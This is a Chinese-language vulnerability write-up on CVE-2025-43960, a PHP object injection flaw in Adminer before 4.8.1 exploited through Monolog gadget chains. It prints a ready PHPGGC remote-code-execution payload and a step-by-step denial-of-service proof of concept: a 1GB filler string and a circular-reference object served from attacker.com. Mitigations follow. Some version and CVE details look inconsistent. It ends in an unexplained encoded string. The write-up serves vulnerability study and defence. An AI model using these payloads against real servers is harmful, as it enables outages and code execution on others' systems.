漏洞概述
CVE-2025-43960 是 Adminer <4.8.1 版本中存在的一个 PHP 对象注入漏洞,攻击者可通过 Monolog 组件实现未经认证的拒绝服务攻击。该漏洞通过内存操纵方式导致服务不可用,CVSS 评分为 7.5(高严重性),在某些共享环境场景下可升至 8.6。
该攻击最显著的特点是能够操纵服务器内存,阻止正常功能使用,但服务器仍能响应 ICMP Ping 请求,使得攻击行为非常隐蔽,难以被应急响应团队快速识别。
技术背景
PHP对象注入(PHP Object Injection)
PHP对象注入漏洞发生在应用程序接收用户输入并用于创建(反序列化)对象时,未对输入数据进行安全验证。PHP 提供的 unserialize() 函数可将文本转换为对象。若文本来源于用户且未经校验,攻击者可发送恶意构造的文本,创建包含恶意代码的对象。
例如,当代码执行以下操作时:
$user = unserialize($_GET['data']);
攻击者可构造如下请求:
?data=O:8:"EvilPayload":0:{}
如果系统中存在 EvilPayload 类并实现了 __wakeup()、__destruct() 等魔术方法,则反序列化过程即可触发恶意代码执行。
Gadget Chains 与 PHPGGC
Gadget Chains 是指应用程序框架(如 Laravel、Monolog、Symfony 等)中已存在的类方法链,通过串联这些方法可在反序列化时执行任意代码。PHPGGC 是一款自动化生成此类恶意对象的工具,内置了大量针对主流框架的预定义链。
Monolog 组件分析
Monolog 是一个 PHP 日志记录库,支持将日志写入多种目标(Handlers):
- 本地文件(StreamHandler)
- 邮件(NativeMailerHandler)
- 数据库
- 远程服务(Slack、Syslog、Loggly 等)
其架构包含以下核心组件:
- Logger:日志发送入口
- Handler:定义日志写入目标
- Formatter:格式化日志输出
- Processor:在日志记录前修改数据
攻击者关注 Monolog 的原因在于,以下 Handler 包含 __destruct()、__wakeup() 等魔术方法,可被利用执行任意代码:
- SyslogUdpHandler
- StreamHandler
- BufferHandler
- NativeMailerHandler
漏洞利用链分析
初始 Payload 构造
使用 PHPGGC 生成针对 Monolog 的 RCE payload:
phpggc monolog/rce1 system 'id' > payload.txt
生成的 payload 内容如下:
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}
该 payload 的核心机制:
- 构造了一个包含
processors列表的特殊 Monolog 对象 - 列表中包含
system函数 - 日志条目包含文本
"id" - 反序列化时触发
system("id")执行
漏洞验证过程
Adminer 4.7.6 版本测试:
在旧版本中测试发现,系统输出了被修改的 payload 版本,其中 *socket 等属性显示为 �*�socket。这表明:
- 服务器确实执行了
unserialize()处理恶意对象 - PHP 中的 protected 属性(以
\x00*\x00序列化)在前端显示为不可见字符 - 成功验证了 PHP 对象注入漏洞的存在
命令执行失败原因分析:
尽管对象注入成功,但 id 命令未执行,可能原因包括:
-
PHP 安全配置限制:
disable_functions禁用了system()、exec()、passthru()等危险函数 - Monolog 版本更新:较新版本的 Monolog 已修补危险 Gadget 链
- Web 服务器权限:PHP 进程用户(如 www-data)缺乏系统命令执行权限
拒绝服务攻击(DoS)实现
攻击思路
虽然无法实现 RCE,但服务器仍会尝试反序列化并处理注入的对象。攻击者利用这一特性:
- 内存耗尽:创建超大尺寸的序列化对象(如 1GB)
- CPU 饱和:利用循环引用(Circular Reference)在反序列化过程中消耗 CPU
PoC 构造步骤
步骤1:生成 1GB 填充文件
head -c 1000000000 </dev/zero | tr '\0' 'D' > filler.txt
步骤2:构造巨型恶意对象
echo 'O:32:"Monolog\\Handler\\SyslogUdpHandler":2:{s:9:"*socket";r:2;s:10:"*handler";s:1000000000:"'$(cat filler.txt)'";}' > payload.txt
关键恶意元素:
-
r:2→ 循环引用,导致 CPU 资源耗尽 -
s:1000000000→ 1GB 字符串,导致内存资源耗尽
步骤3:发起攻击
Server: http://attacker.com/payload.txt
攻击效果
- Adminer 服务进入
pending状态,无法响应正常请求 - 服务器持续尝试读取并处理巨型 PHP 对象
- 仅当攻击者关闭监听服务时,连接中断,服务自动恢复
- 攻击期间服务器仍能响应 ICMP Ping,具备高度隐蔽性
漏洞影响范围
- 受影响版本:Adminer < 4.8.1
- 攻击向量:无需认证,无需用户交互
- 利用条件:目标使用 Monolog 组件
- 攻击结果:拒绝服务(CPU + 内存资源耗尽)
缓解建议
- 升级 Adminer:升级到 4.8.1 或更高版本
- 输入验证:对所有用户输入进行严格校验,特别是涉及反序列化的参数
-
禁用危险函数:在
php.ini中配置disable_functions = system,exec,passthru,shell_exec -
资源限制:设置 PHP 的
memory_limit和max_execution_time限制 - WAF 规则:部署 Web 应用防火墙,检测并拦截包含 PHP 序列化对象的恶意请求
参考资料
- CVE-2021-21311:Adminer SSRF 漏洞
- PHPGGC 工具文档
- Monolog 官方文档
CSD0tFqvECLokhw9aBeRqlZO3pzVjDuV5xSEyXQVYtOqHnSh5P5/Ud1bZvmAuMDAjnycj0YPi0XrBzeCxHvxDOq/TTB353oV8toOn9T4zttEdDr5+Y5/pkqUNl+m5/8Bu5KT6Bc9O3qMbX99a/rqumq32Ylos9ERa4IqMtkaovA=